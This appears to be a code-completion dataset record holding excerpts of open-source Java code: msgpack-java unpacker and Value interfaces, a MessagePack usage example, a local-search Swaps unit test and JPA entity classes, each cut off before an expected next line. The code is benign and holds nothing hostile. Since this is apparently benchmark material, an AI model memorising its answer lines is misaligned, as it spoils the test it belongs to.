*\n * @return the size of the array to be read\n * @throws MessageTypeException when value is not MessagePack Array type\n * @throws MessageSizeException when size of the array is larger than 2^31 - 1\n * @throws IOException when underlying input throws IOException\n */\n public int unpackArrayHeader()\n throws IOException\n {\n byte b = readByte();\n if (Code.isFixedArray(b)) { // fixarray\n return b & 0x0f;\n }\n switch (b) {\n case Code.ARRAY16: { // array 16\n int len = readNextLength16();\n return len;\n }\n case Code.ARRAY32: { // array 32\n int len = readNextLength32();\n return len;\n }\n }\n throw unexpected(\"Array\", b);\n }\n\n /**\n * Reads header of a map.\n *\n * <p>\n * This method returns number of pairs to be read. After this method call, for each pair, you call unpacker\n * methods for key first, and then value. You will call unpacker methods twice as many time as the returned\n * count. You don't have to call anything at the end of iteration.\n *\n * @return the size of the map to be read\n * @throws MessageTypeException when value is not MessagePack Map type\n * @throws MessageSizeException when size of the map is larger than 2^31 - 1\n * @throws IOException when underlying input throws IOException\n */\n public int unpackMapHeader()\n throws IOException\n {\n byte b = readByte();\n if (Code.isFixedMap(b)) { // fixmap\n return b & 0x0f;\n }\n switch (b) {\n case Code.MAP16: { // map 16\n int len = readNextLength16();\n return len;\n }\n case Code.MAP32: { // map 32\n int len = readNextLength32();\n return len;\n }\n }\n throw unexpected(\"Map\", b);\n }\n\n public ExtensionTypeHeader unpackExtensionTypeHeader()\n throws IOException\n {\n byte b = readByte();\n switch (b) {\n case Code.FIXEXT1: {\n byte type = readByte();\n return new ExtensionTypeHeader(type, 1);\n }\n case Code.FIXEXT2: {\n byte type = readByte();\n return new ExtensionTypeHeader(type, 2);\n }\n case Code.FIXEXT4: {\n byte type = readByte();\n return new ExtensionTypeHeader(type, 4);\n }\n case Code.FIXEXT8: {\n byte type = readByte();\n return new ExtensionTypeHeader(type, 8);\n }\n case Code.FIXEXT16: {\n byte type = readByte();\n return new ExtensionTypeHeader(type, 16);\n }\n case Code.EXT8: {\n MessageBuffer numberBuffer = prepareNumberBuffer(2);\n int u8 = numberBuffer.getByte(nextReadPosition);\n int length = u8 & 0xff;\n byte type = numberBuffer.getByte(nextReadPosition + 1);\n return new ExtensionTypeHeader(type, length);\n }\n case Code.EXT16: {\n MessageBuffer numberBuffer = prepareNumberBuffer(3);\n int u16 = numberBuffer.getShort(nextReadPosition);\n int length = u16 & 0xffff;\n byte type = numberBuffer.getByte(nextReadPosition + 2);\n return new ExtensionTypeHeader(type, length);\n }\n case Code.EXT32: {\n MessageBuffer numberBuffer = prepareNumberBuffer(5);\n int u32 = numberBuffer.getInt(nextReadPosition);\n if (u32 < 0) {\n throw overflowU32Size(u32);\n }\n int length = u32;\n byte type = numberBuffer.getByte(nextReadPosition + 4);\n return new ExtensionTypeHeader(type, length);\n }\n }\n\n throw unexpected(\"Ext\", b);\n }\n\n private int tryReadStringHeader(byte b)\n throws IOException\n {\n switch (b) {\n case Code.STR8: // str 8\n return readNextLength8();\n case Code.STR16: // str 16\n return readNextLength16();\n case Code.STR32: // str 32\n return readNextLength32();\n default:\n return -1;\n }\n }\n\n private int tryReadBinaryHeader(byte b)\n throws IOException\n {\n switch (b) {\n case Code.BIN8: // bin 8\n return readNextLength8();\n case Code.BIN16: // bin 16\n return readNextLength16();\n case Code.BIN32: // bin 32\n return readNextLength32();\n default:\n return -1;\n }\n }\n\n public int unpackRawStringHeader()\n throws IOException\n {\n byte b = readByte();\n if (Code.isFixedRaw(b)) { // FixRaw\n return b & 0x1f;\n }\n int len = tryReadStringHeader(b);\n if (len >= 0) {\n return len;\n }\n\n if (allowReadingBinaryAsString) {\n len = tryReadBinaryHeader(b);\n if (len >= 0) {\n return len;\n }\n }\n throw unexpected(\"String\", b);\n }\n\n /**\n * Reads header of a binary.\n *\n * <p>\n * This method returns number of bytes to be read. After this method call, you call a readPayload method such as\n * {@link #readPayload(int)} with the returned count.\n *\n * <p>\n * You can divide readPayload method into multiple calls. In this case, you must repeat readPayload methods\n * until total amount of bytes becomes equal to the returned count.\n *\n * @return the size of the map to be read\n * @throws MessageTypeException when value is not MessagePack Map type\n * @throws MessageSizeException when size of the map is larger than 2^31 - 1\n * @throws IOException when underlying input throws IOException\n */\n public int unpackBinaryHeader()\n throws IOException\n {\n byte b = readByte();\n if (Code.isFixedRaw(b)) { // FixRaw\n return b & 0x1f;\n }\n int len = tryReadBinaryHeader(b);\n if (len >= 0) {\n return len;\n }\n\n if (allowReadingStringAsBinary) {\n len = tryReadStringHeader(b);\n if (len >= 0) {\n return len;\n }\n }\n throw unexpected(\"Binary\", b);\n }\n\n /**\n * Skip reading the specified number of bytes. Use this method only if you know skipping data is safe.\n * For simply skipping the next value, use {@link #skipValue()}.\n *\n * @param numBytes\n * @throws IOException\n */\n private void skipPayload(int numBytes)\n throws IOException\n {\n if (numBytes < 0) {\n throw new IllegalArgumentException(\"payload size must be >= 0: \" + numBytes);\n }\n while (true) {\n int bufferRemaining = buffer.size() - position;\n if (bufferRemaining >= numBytes) {\n position += numBytes;\n return;\n }\n else {\n position += bufferRemaining;\n numBytes -= bufferRemaining;\n }\n nextBuffer();\n }\n }\n\n /**\n * Reads payload bytes of binary, extension, or raw string types.\n *\n * <p>\n * This consumes bytes, copies them to the specified buffer, and moves forward position of the byte buffer\n * until ByteBuffer.remaining() returns 0.\n *\n * @param dst the byte buffer into which the data is read\n * @throws IOException when underlying input throws IOException\n */\n public void readPayload(ByteBuffer dst)\n throws IOException\n {\n while (true) {\n int dstRemaining = dst.remaining();\n int bufferRemaining = buffer.size() - position;\n if (bufferRemaining >= dstRemaining) {\n buffer.getBytes(position, dstRemaining, dst);\n position += dstRemaining;\n return;\n }\n buffer.getBytes(position, bufferRemaining, dst);\n position += bufferRemaining;\n\n nextBuffer();\n }\n }\n\n /**\n * Reads payload bytes of binary, extension, or raw string types.\n *\n * <p>\n * This consumes bytes, copies them to the specified buffer\n * This is usually faster than readPayload(ByteBuffer) by using unsafe.copyMemory\n *\n * @param dst the Message buffer into which the data is read\n * @param off the offset in the Message buffer\n * @param len the number of bytes to read\n * @throws IOException when underlying input throws IOException\n */\n public void readPayload(MessageBuffer dst, int off, int len)\n throws IOException\n {\n while (true) {\n int bufferRemaining = buffer.size() - position;\n if (bufferRemaining >= len) {\n dst.putMessageBuffer(off, buffer, position, len);\n position += len;\n return;\n }\n dst.putMessageBuffer(off, buffer, position, bufferRemaining);\n off += bufferRemaining;\n len -= bufferRemaining;\n position += bufferRemaining;\n\n nextBuffer();\n }\n }\n\n /**\n * Reads payload bytes of binary, extension, or raw string types.\n *\n * This consumes specified amount of bytes into the specified byte array.\n *\n * <p>\n * This method is equivalent to <code>readPayload(dst, 0, dst.length)</code>.\n *\n * @param dst the byte array into which the data is read\n * @throws IOException when underlying input throws IOException\n */\n public void readPayload(byte[] dst)\n throws IOException\n {\n readPayload(dst, 0, dst.length);\n }\n\n /**\n * Reads payload bytes of binary, extension, or raw string types.\n *\n * This method allocates a new byte array and consumes specified amount of bytes into the byte array.\n *\n * <p>\n * This method is equivalent to <code>readPayload(new byte[length])</code>.\n *\n * @param length number of bytes to be read\n * @return the new byte array\n * @throws IOException when underlying input throws IOException\n */\n public byte[] readPayload(int length)\n throws IOException\n {\n byte[] newArray = new byte[length];\n readPayload(newArray);\n return newArray;\n }\n\n /**\n * Reads payload bytes of binary, extension, or raw string types.\n *\n * This consumes specified amount of bytes into the specified byte array.\n *\n * @param dst the byte array into which the data is read\n * @param off the offset in the dst array\n * @param len the number of bytes to read\n * @throws IOException when underlying input throws IOException\n */\n public void readPayload(byte[] dst, int off, int len)\n throws IOException\n {\n while (true) {\n int bufferRemaining = buffer.size() - position;\n if (bufferRemaining >= len) {\n buffer.getBytes(position, dst, off, len);\n position += len;\n return;\n }\n buffer.getBytes(position, dst, off, bufferRemaining);\n off += bufferRemaining;\n len -= bufferRemaining;\n position += bufferRemaining;\n\n nextBuffer();\n }\n }\n\n /**\n * Reads payload bytes of binary, extension, or raw string types as a reference to internal buffer.\n *\n * Note: This methods may return raw memory region, access to which has no strict boundary checks.\n * To use this method safely, you need to understand the internal buffer handling of msgpack-java.\n *\n * <p>\n * This consumes specified amount of bytes and returns its reference or copy. This method tries to\n * return reference as much as possible because it is faster. However, it may copy data to a newly\n * allocated buffer if reference is not applicable.\n *\n * @param length number of bytes to be read\n * @throws IOException when underlying input throws IOException\n */\n public MessageBuffer readPayloadAsReference(int length)\n throws IOException\n {\n int bufferRemaining = buffer.size() - position;\n if (bufferRemaining >= length) {\n MessageBuffer slice = buffer.slice(position, length);\n position += length;\n return slice;\n }\n MessageBuffer dst = MessageBuffer.allocate(length);\n readPayload(dst, 0, length);\n return dst;\n }\n\n private int readNextLength8()\n throws IOException\n {\n byte u8 = readByte();\n return u8 & 0xff;\n }\n\n private int readNextLength16()\n throws IOException\n {\n short u16 = readShort();\n return u16 & 0xffff;\n }\n\n private int readNextLength32()\n throws IOException\n {\n int u32 = readInt();\n if (u32 < 0) {\n throw overflowU32Size(u32);\n }\n return u32;\n }\n\n /**\n * Closes underlying input.\n *\n * @throws IOException\n */\n @Override\n public void close()\n throws IOException\n {\n totalReadBytes += position;\n buffer = EMPTY_BUFFER;\n position = 0;\n in.close();\n }\n\n private static MessageIntegerOverflowException overflowU8(byte u8)\n {\n BigInteger bi = BigInteger.valueOf((long) (u8 & 0xff));\n return new MessageIntegerOverflowException(bi);\n }\n\n private static MessageIntegerOverflowException overflowU16(short u16)\n {\n BigInteger bi = BigInteger.valueOf((long) (u16 & 0xffff));\n return new MessageIntegerOverflowException(bi);\n }\n\n private static MessageIntegerOverflowException overflowU32(int u32)\n {\n BigInteger bi = BigInteger.valueOf((long) (u32 & 0x7fffffff) + 0x80000000L);\n return new MessageIntegerOverflowException(bi);\n }\n\n private static MessageIntegerOverflowException overflowU64(long u64)\n {\n BigInteger bi = BigInteger.valueOf(u64 + Long.MAX_VALUE + 1L).setBit(63);\n return new MessageIntegerOverflowException(bi);\n }\n\n private static MessageIntegerOverflowException overflowI16(short i16)\n {\n BigInteger bi = BigInteger.valueOf((long) i16);\n return new MessageIntegerOverflowException(bi);\n }\n\n private static MessageIntegerOverflowException overflowI32(int i32)\n {\n BigInteger bi = BigInteger.valueOf((long) i32);\n return new MessageIntegerOverflowException(bi);\n }\n\n private static MessageIntegerOverflowException overflowI64(long i64)\n {\n BigInteger bi = BigInteger.valueOf(i64);\n return new MessageIntegerOverflowException(bi);\n }\n\n private static MessageSizeException overflowU32Size(int u32)\n {\n long lv = (long) (u32 & 0x7fffffff) + 0x80000000L;\n return new MessageSizeException(lv);\n }\n}", "public interface TimestampValue\n extends ExtensionValue\n{\n long getEpochSecond();\n\n int getNano();\n\n long toEpochMillis();\n\n Instant toInstant();\n}", "public interface Value\n{\n /**\n * Returns type of this value.\n *\n * Note that you can't use <code>instanceof</code> to check type of a value because type of a mutable value is variable.\n */\n ValueType getValueType();\n\n /**\n * Returns immutable copy of this value.\n *\n * This method simply returns <code>this</code> without copying the value if this value is already immutable.\n */\n ImmutableValue immutableValue();\n\n /**\n * Returns true if type of this value is Nil.\n *\n * If this method returns true, {@code asNilValue} never throws exceptions.\n * Note that you can't use <code>instanceof</code> or cast <code>((NilValue) thisValue)</code> to check type of a value because type of a mutable value is variable.\n */\n boolean isNilValue();\n\n /**\n * Returns true if type of this value is Boolean.\n *\n * If this method returns true, {@code asBooleanValue} never throws exceptions.\n * Note that you can't use <code>instanceof</code> or cast <code>((BooleanValue) thisValue)</code> to check type of a value because type of a mutable value is variable.\n */\n boolean isBooleanValue();\n\n /**\n * Returns true if type of this value is Integer or Float.\n *\n * If this method returns true, {@code asNumberValue} never throws exceptions.\n * Note that you can't use <code>instanceof</code> or cast <code>((NumberValue) thisValue)</code> to check type of a value because type of a mutable value is variable.\n */\n boolean isNumberValue();\n\n /**\n * Returns true if type of this value is Integer.\n *\n * If this method returns true, {@code asIntegerValue} never throws exceptions.\n * Note that you can't use <code>instanceof</code> or cast <code>((IntegerValue) thisValue)</code> to check type of a value because type of a mutable value is variable.\n */\n boolean isIntegerValue();\n\n /**\n * Returns true if type of this value is Float.\n *\n * If this method returns true, {@code asFloatValue} never throws exceptions.\n * Note that you can't use <code>instanceof</code> or cast <code>((FloatValue) thisValue)</code> to check type of a value because type of a mutable value is variable.\n */\n boolean isFloatValue();\n\n /**\n * Returns true if type of this value is String or Binary.\n *\n * If this method returns true, {@code asRawValue} never throws exceptions.\n * Note that you can't use <code>instanceof</code> or cast <code>((RawValue) thisValue)</code> to check type of a value because type of a mutable value is variable.\n */\n boolean isRawValue();\n\n /**\n * Returns true if type of this value is Binary.\n *\n * If this method returns true, {@code asBinaryValue} never throws exceptions.\n * Note that you can't use <code>instanceof</code> or cast <code>((BinaryValue) thisValue)</code> to check type of a value because type of a mutable value is variable.\n */\n boolean isBinaryValue();\n\n /**\n * Returns true if type of this value is String.\n *\n * If this method returns true, {@code asStringValue} never throws exceptions.\n * Note that you can't use <code>instanceof</code> or cast <code>((StringValue) thisValue)</code> to check type of a value because type of a mutable value is variable.\n */\n boolean isStringValue();\n\n /**\n * Returns true if type of this value is Array.\n *\n * If this method returns true, {@code asArrayValue} never throws exceptions.\n * Note that you can't use <code>instanceof</code> or cast <code>((ArrayValue) thisValue)</code> to check type of a value because type of a mutable value is variable.\n */\n boolean isArrayValue();\n\n /**\n * Returns true if type of this value is Map.\n *\n * If this method returns true, {@code asMapValue} never throws exceptions.\n * Note that you can't use <code>instanceof</code> or cast <code>((MapValue) thisValue)</code> to check type of a value because type of a mutable value is variable.\n */\n boolean isMapValue();\n\n /**\n * Returns true if type of this an Extension.\n *\n * If this method returns true, {@code asExtensionValue} never throws exceptions.\n * Note that you can't use <code>instanceof</code> or cast <code>((ExtensionValue) thisValue)</code> to check type of a value because\n * type of a mutable value is variable.\n */\n boolean isExtensionValue();\n\n /**\n * Returns true if the type of this value is Timestamp.\n *\n * If this method returns true, {@code asTimestamp} never throws exceptions.\n * Note that you can't use <code>instanceof</code> or cast <code>((MapValue) thisValue)</code> to check type of a value because type of a mutable value is variable.\n */\n boolean isTimestampValue();\n\n /**\n * Returns the value as {@code NilValue}. Otherwise throws {@code MessageTypeCastException}.\n *\n * Note that you can't use <code>instanceof</code> or cast <code>((NilValue) thisValue)</code> to check type of a value because type of a mutable value is variable.\n *\n * @throws MessageTypeCastException If type of this value is not Nil.\n */\n NilValue asNilValue();\n\n /**\n * Returns the value as {@code BooleanValue}. Otherwise throws {@code MessageTypeCastException}.\n *\n * Note that you can't use <code>instanceof</code> or cast <code>((BooleanValue) thisValue)</code> to check type of a value because type of a mutable value is variable.\n *\n * @throws MessageTypeCastException If type of this value is not Boolean.\n */\n BooleanValue asBooleanValue();\n\n /**\n * Returns the value as {@code NumberValue}. Otherwise throws {@code MessageTypeCastException}.\n *\n * Note that you can't use <code>instanceof</code> or cast <code>((NumberValue) thisValue)</code> to check type of a value because type of a mutable value is variable.\n *\n * @throws MessageTypeCastException If type of this value is not Integer or Float.\n */\n NumberValue asNumberValue();\n\n /**\n * Returns the value as {@code IntegerValue}. Otherwise throws {@code MessageTypeCastException}.\n *\n * Note that you can't use <code>instanceof</code> or cast <code>((IntegerValue) thisValue)</code> to check type of a value because type of a mutable value is variable.\n *\n * @throws MessageTypeCastException If type of this value is not Integer.\n */\n IntegerValue asIntegerValue();\n\n /**\n * Returns the value as {@code FloatValue}. Otherwise throws {@code MessageTypeCastException}.\n *\n * Note that you can't use <code>instanceof</code> or cast <code>((FloatValue) thisValue)</code> to check type of a value because type of a mutable value is variable.\n *\n * @throws MessageTypeCastException If type of this value is not Float.\n */\n FloatValue asFloatValue();\n\n /**\n * Returns the value as {@code RawValue}. Otherwise throws {@code MessageTypeCastException}.\n *\n * Note that you can't use <code>instanceof</code> or cast <code>((RawValue) thisValue)</code> to check type of a value because type of a mutable value is variable.\n *\n * @throws MessageTypeCastException If type of this value is not Binary or String.\n */\n RawValue asRawValue();\n\n /**\n * Returns the value as {@code BinaryValue}. Otherwise throws {@code MessageTypeCastException}.\n *\n * Note that you can't use <code>instanceof</code> or cast <code>((BinaryValue) thisValue)</code> to check type of a value because type of a mutable value is variable.\n *\n * @throws MessageTypeCastException If type of this value is not Binary.\n */\n BinaryValue asBinaryValue();\n\n /**\n * Returns the value as {@code StringValue}. Otherwise throws {@code MessageTypeCastException}.\n *\n * Note that you can't use <code>instanceof</code> or cast <code>((StringValue) thisValue)</code> to check type of a value because type of a mutable value is variable.\n *\n * @throws MessageTypeCastException If type of this value is not String.\n */\n StringValue asStringValue();\n\n /**\n * Returns the value as {@code ArrayValue}. Otherwise throws {@code MessageTypeCastException}.\n *\n * Note that you can't use <code>instanceof</code> or cast <code>((ArrayValue) thisValue)</code> to check type of a value because type of a mutable value is variable.\n *\n * @throws MessageTypeCastException If type of this value is not Array.\n */\n ArrayValue asArrayValue();\n\n /**\n * Returns the value as {@code MapValue}. Otherwise throws {@code MessageTypeCastException}.\n *\n * Note that you can't use <code>instanceof</code> or cast <code>((MapValue) thisValue)</code> to check type of a value because type of a mutable value is variable.\n *\n * @throws MessageTypeCastException If type of this value is not Map.\n */\n MapValue asMapValue();\n\n /**\n * Returns the value as {@code ExtensionValue}. Otherwise throws {@code MessageTypeCastException}.\n *\n * Note that you can't use <code>instanceof</code> or cast <code>((ExtensionValue) thisValue)</code> to check type of a value\n * because type of a mutable value is variable.\n *\n * @throws MessageTypeCastException If type of this value is not an Extension.\n */\n ExtensionValue asExtensionValue();\n\n /**\n * Returns the value as {@code TimestampValue}. Otherwise throws {@code MessageTypeCastException}.\n *\n * Note that you can't use <code>instanceof</code> or cast <code>((TimestampValue) thisValue)</code> to check type of a value because type of a mutable value is variable.\n *\n * @throws MessageTypeCastException If type of this value is not Map.\n */\n TimestampValue asTimestampValue();\n\n /**\n * Serializes the value using the specified {@code MessagePacker}\n *\n * @see MessagePacker\n */\n void writeTo(MessagePacker pk)\n throws IOException;\n\n /**\n * Compares this value to the specified object.\n *\n * This method returns {@code true} if type and value are equivalent.\n * If this value is {@code MapValue} or {@code ArrayValue}, this method check equivalence of elements recursively.\n */\n boolean equals(Object obj);\n\n /**\n * Returns json representation of this Value.\n * <p>\n * Following behavior is not configurable at this release and they might be changed at future releases:\n *\n * <ul>\n * <li>if a key of MapValue is not string, the key is converted to a string using toString method.</li>\n * <li>NaN and Infinity of DoubleValue are converted to null.</li>\n * <li>ExtensionValue is converted to a 2-element array where first element is a number and second element is the data encoded in hex.</li>\n * <li>BinaryValue is converted to a string using UTF-8 encoding. Invalid byte sequence is replaced with <code>U+FFFD replacement character</code>.</li>\n * <li>Invalid UTF-8 byte sequences in StringValue is replaced with <code>U+FFFD replacement character</code></li>\n * <ul>\n */\n String toJson();\n}" ]
import org.msgpack.core.MessagePack; import org.msgpack.core.MessagePack.PackerConfig; import org.msgpack.core.MessagePack.UnpackerConfig; import org.msgpack.core.MessageBufferPacker; import org.msgpack.core.MessageFormat; import org.msgpack.core.MessagePacker; import org.msgpack.core.MessageUnpacker; import org.msgpack.value.ArrayValue; import org.msgpack.value.ExtensionValue; import org.msgpack.value.FloatValue; import org.msgpack.value.IntegerValue; import org.msgpack.value.TimestampValue; import org.msgpack.value.Value; import java.io.File; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.IOException; import java.math.BigInteger; import java.time.Instant;
packer.packInt(2); // pack binary data byte[] ba = new byte[] {1, 2, 3, 4}; packer.packBinaryHeader(ba.length); packer.writePayload(ba); // Write ext type data: https://github.com/msgpack/msgpack/blob/master/spec.md#ext-format-family byte[] extData = "custom data type".getBytes(MessagePack.UTF8); packer.packExtensionTypeHeader((byte) 1, 10); // type number [0, 127], data byte length packer.writePayload(extData); // Pack timestamp packer.packTimestamp(Instant.now()); // Succinct syntax for packing packer .packInt(1) .packString("leo") .packArrayHeader(2) .packString("xxx-xxxx") .packString("yyy-yyyy"); } /** * An example of reading and writing MessagePack data * * @throws IOException */ public static void readAndWriteFile() throws IOException { File tempFile = File.createTempFile("target/tmp", ".txt"); tempFile.deleteOnExit(); // Write packed data to a file. No need exists to wrap the file stream with BufferedOutputStream, since MessagePacker has its own buffer MessagePacker packer = MessagePack.newDefaultPacker(new FileOutputStream(tempFile)); packer.packInt(1); packer.packString("Hello Message Pack!"); packer.packArrayHeader(2).packFloat(0.1f).packDouble(0.342); packer.close(); // Read packed data from a file. No need exists to wrap the file stream with an buffer MessageUnpacker unpacker = MessagePack.newDefaultUnpacker(new FileInputStream(tempFile)); while (unpacker.hasNext()) { // [Advanced] You can check the detailed data format with getNextFormat() // Here is a list of message pack data format: https://github.com/msgpack/msgpack/blob/master/spec.md#overview MessageFormat format = unpacker.getNextFormat(); // You can also use unpackValue to extract a value of any type Value v = unpacker.unpackValue(); switch (v.getValueType()) { case NIL: v.isNilValue(); // true System.out.println("read nil"); break; case BOOLEAN: boolean b = v.asBooleanValue().getBoolean(); System.out.println("read boolean: " + b); break; case INTEGER: IntegerValue iv = v.asIntegerValue(); if (iv.isInIntRange()) { int i = iv.toInt(); System.out.println("read int: " + i); } else if (iv.isInLongRange()) { long l = iv.toLong(); System.out.println("read long: " + l); } else { BigInteger i = iv.toBigInteger(); System.out.println("read long: " + i); } break; case FLOAT: FloatValue fv = v.asFloatValue(); float f = fv.toFloat(); // use as float double d = fv.toDouble(); // use as double System.out.println("read float: " + d); break; case STRING: String s = v.asStringValue().asString(); System.out.println("read string: " + s); break; case BINARY: byte[] mb = v.asBinaryValue().asByteArray(); System.out.println("read binary: size=" + mb.length); break; case ARRAY: ArrayValue a = v.asArrayValue(); for (Value e : a) { System.out.println("read array element: " + e); } break; case EXTENSION: ExtensionValue ev = v.asExtensionValue(); if (ev.isTimestampValue()) { // Reading the value as a timestamp TimestampValue ts = ev.asTimestampValue(); Instant tsValue = ts.toInstant(); } else { byte extType = ev.getType(); byte[] extValue = ev.getData(); } break; } } } /** * Example of using custom MessagePack configuration * * @throws IOException */ public static void configuration() throws IOException {
MessageBufferPacker packer = new PackerConfig()
1
rinde/RinLog
src/test/java/com/github/rinde/opt/localsearch/SwapsTest.java
[ "@SafeVarargs\npublic static <T> ImmutableList<T> list(T... items) {\n return ImmutableList.copyOf(items);\n}", "static DoubleList asDoubleList(double... values) {\n return DoubleLists.unmodifiable(new DoubleArrayList(values));\n}", "static IntList asIntList(final int... values) {\n return IntLists.unmodifiable(new IntArrayList(values));\n}", "static <T> ImmutableList<T> inListSwap(ImmutableList<T> originalList,\n IntList insertionIndices, T item) {\n checkArgument(!originalList.isEmpty(), \"The list may not be empty.\");\n final List<T> newList = newArrayList(originalList);\n final IntList indices = removeAll(newList, item);\n checkArgument(\n newList.size() == originalList.size() - insertionIndices.size(),\n \"The number of occurrences (%s) of item should equal the number of \"\n + \"insertionIndices (%s), original list: %s, item %s, \"\n + \"insertionIndices %s.\",\n indices.size(), insertionIndices.size(), originalList, item,\n insertionIndices);\n checkArgument(\n !indices.equals(insertionIndices),\n \"Attempt to move the item to exactly the same locations as the input. \"\n + \"Indices in original list %s, insertion indices %s.\",\n indices, insertionIndices);\n return Insertions.insert(newList, insertionIndices, item);\n}", "static <T> IntList removeAll(List<T> list, T item) {\n final Iterator<T> it = list.iterator();\n final IntArrayList indices = new IntArrayList();\n int i = 0;\n while (it.hasNext()) {\n if (it.next().equals(item)) {\n it.remove();\n indices.add(i);\n }\n i++;\n }\n return IntLists.unmodifiable(indices);\n}", "static <T> ImmutableList<T> replace(ImmutableList<T> list, IntList indices,\n ImmutableList<T> elements) {\n checkIndices(indices, elements);\n final List<T> newL = newArrayList(list);\n for (int i = 0; i < indices.size(); i++) {\n newL.set(indices.getInt(i), elements.get(i));\n }\n return ImmutableList.copyOf(newL);\n}", "static <C, T> Optional<Schedule<C, T>> swap(Schedule<C, T> s, Swap<T> swap,\n double threshold) {\n return swap(s, swap, threshold,\n new Object2DoubleLinkedOpenHashMap<ImmutableList<T>>());\n}", "@AutoValue\nabstract static class Swap<T> {\n abstract T item();\n\n abstract int fromRow();\n\n abstract int toRow();\n\n abstract IntList toIndices();\n\n static <T> Swap<T> create(T i, int from, int to, IntList toInd) {\n return new AutoValue_Swaps_Swap<T>(i, from, to, toInd);\n }\n}" ]
import static com.github.rinde.opt.localsearch.InsertionsTest.list; import static com.github.rinde.opt.localsearch.Swaps.asDoubleList; import static com.github.rinde.opt.localsearch.Swaps.asIntList; import static com.github.rinde.opt.localsearch.Swaps.inListSwap; import static com.github.rinde.opt.localsearch.Swaps.removeAll; import static com.github.rinde.opt.localsearch.Swaps.replace; import static com.github.rinde.opt.localsearch.Swaps.swap; import static com.google.common.collect.Lists.newArrayList; import static com.google.common.truth.Truth.assertThat; import static java.util.Collections.reverseOrder; import static java.util.Collections.sort; import static org.junit.Assert.assertEquals; import static org.junit.Assert.assertFalse; import static org.junit.Assert.assertTrue; import java.util.Iterator; import java.util.List; import org.junit.Before; import org.junit.Test; import com.github.rinde.opt.localsearch.Swaps.Swap; import com.github.rinde.rinsim.testutil.TestUtil; import com.google.common.base.MoreObjects; import com.google.common.base.Optional; import com.google.common.collect.ImmutableList; import com.google.common.truth.Truth;
/* * Copyright (C) 2013-2016 Rinde van Lon, iMinds-DistriNet, KU Leuven * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.github.rinde.opt.localsearch; /** * Test of {@link Swaps}. * @author Rinde van Lon */ public class SwapsTest { static final String A = "A"; static final String B = "B"; static final String C = "C"; static final String D = "D"; static final String E = "E"; static final String F = "F"; static final String G = "G"; @SuppressWarnings("null") Schedule<SortDirection, String> schedule; enum SortDirection { ASCENDING, DESCENDING; } /** * Creates a schedule for testing. */ @SuppressWarnings("unchecked") @Before public void setUp() { TestUtil.testPrivateConstructor(Swaps.class); schedule = Schedule.create(SortDirection.ASCENDING,
list(list(G, D, D, G), list(A, C, B, F, E, F, A, B)), asIntList(0, 0),
2
cejug/hurraa
src/main/java/org/cejug/hurraa/model/bean/OccurrenceBean.java
[ "@Entity\npublic class Occurrence implements Serializable {\n\t\n\tprivate static final long serialVersionUID = -9182122904967670112L;\n\n\t@Id\n\t@GeneratedValue(strategy = GenerationType.IDENTITY)\n\tprivate Long id;\n\t\n\t@Temporal(TemporalType.TIMESTAMP)\n\tprivate Date dateOfOpening;\n\t\n\tprivate String serialId;\n\t\n\t@NotEmpty\n\t@Lob\n\tprivate String description;\n\n\t@ManyToOne\n\t@JoinColumn(name=\"occurrenceState_id\")\n\tprivate OccurrenceState occurrenceState;\n\t\n\t@ManyToOne\n\t@JoinColumn(name = \"problemType_id\" , nullable = false)\n\tprivate ProblemType problemType;\n\t\n\t@ManyToOne\n\t@JoinColumn(name = \"sector_id\" , nullable = false)\n\tprivate Sector sector;\n\t\n\t@ManyToOne\n\t@JoinColumn(name = \"user_id\" , nullable = false)\n\tprivate User user;\n\t\n\t@OneToMany(mappedBy = \"occurrence\" , fetch = FetchType.EAGER)\n\tprivate List<OccurrenceUpdate> updates;\n\t\n\tpublic Occurrence() { }\n\t\n\t@PrePersist\n\tpublic void runBeforeCreate(){\n\t\tdateOfOpening = new Date();\n\t}\n\t\n\tpublic Long getId() {\n\t\treturn id;\n\t}\n\n\tpublic void setId(Long id) {\n\t\tthis.id = id;\n\t}\n\n\tpublic Date getDateOfOpening() {\n\t\treturn dateOfOpening;\n\t}\n\n\tpublic void setDateOfOpening(Date dateOfOpening) {\n\t\tthis.dateOfOpening = dateOfOpening;\n\t}\n\n\tpublic String getSerialId() {\n\t\treturn serialId;\n\t}\n\n\tpublic void setSerialId(String serialId) {\n\t\tthis.serialId = serialId;\n\t}\n\n\tpublic String getDescription() {\n\t\treturn description;\n\t}\n\n\tpublic void setDescription(String description) {\n\t\tthis.description = description;\n\t}\n\n\tpublic ProblemType getProblemType() {\n\t\treturn problemType;\n\t}\n\n\tpublic void setProblemType(ProblemType problemType) {\n\t\tthis.problemType = problemType;\n\t}\n\n\tpublic User getUser() {\n\t\treturn user;\n\t}\n\n\tpublic void setUser(User user) {\n\t\tthis.user = user;\n\t}\n\n\tpublic Sector getSector() {\n\t\treturn sector;\n\t}\n\n\tpublic void setSector(Sector sector) {\n\t\tthis.sector = sector;\n\t}\n\n\n\n\tpublic OccurrenceState getOccurrenceState() {\n\t\treturn occurrenceState;\n\t}\n\n\n\n\tpublic void setOccurrenceState(OccurrenceState occurrenceState) {\n\t\tthis.occurrenceState = occurrenceState;\n\t}\n\n\tpublic List<OccurrenceUpdate> getUpdates() {\n\t\treturn updates;\n\t}\n\n\tpublic void setUpdates(List<OccurrenceUpdate> updates) {\n\t\tthis.updates = updates;\n\t}\n\t\n}", "@Entity\npublic class OccurrenceFieldUpdate implements Serializable {\n\t\n\tprivate static final long serialVersionUID = 5317998715760939361L;\n\n\t@Id\n\t@GeneratedValue(strategy = GenerationType.IDENTITY)\n\tprivate Long id;\n\t\n\t@ManyToOne\n\t@JoinColumn( name=\"occurrenceUpdate_id\" )\n\tprivate OccurrenceUpdate occurrenceUpdate;\n\t\n\t@NotBlank\n\tprivate String fieldName;\n\t\n\t@NotNull\n\tprivate String oldValue;\n\t\n\t@NotNull\n\tprivate String newValue;\n\t\n\t@Override\n\tpublic String toString() {\n\t\tStringBuilder builder = new StringBuilder();\n\t\tbuilder.append(\"OccurrenceFieldUpdate [id=\").append(id)\n\t\t\t\t.append(\", occurrenceUpdate=\").append(occurrenceUpdate)\n\t\t\t\t.append(\", fieldName=\").append(fieldName).append(\", oldValue=\")\n\t\t\t\t.append(oldValue).append(\", 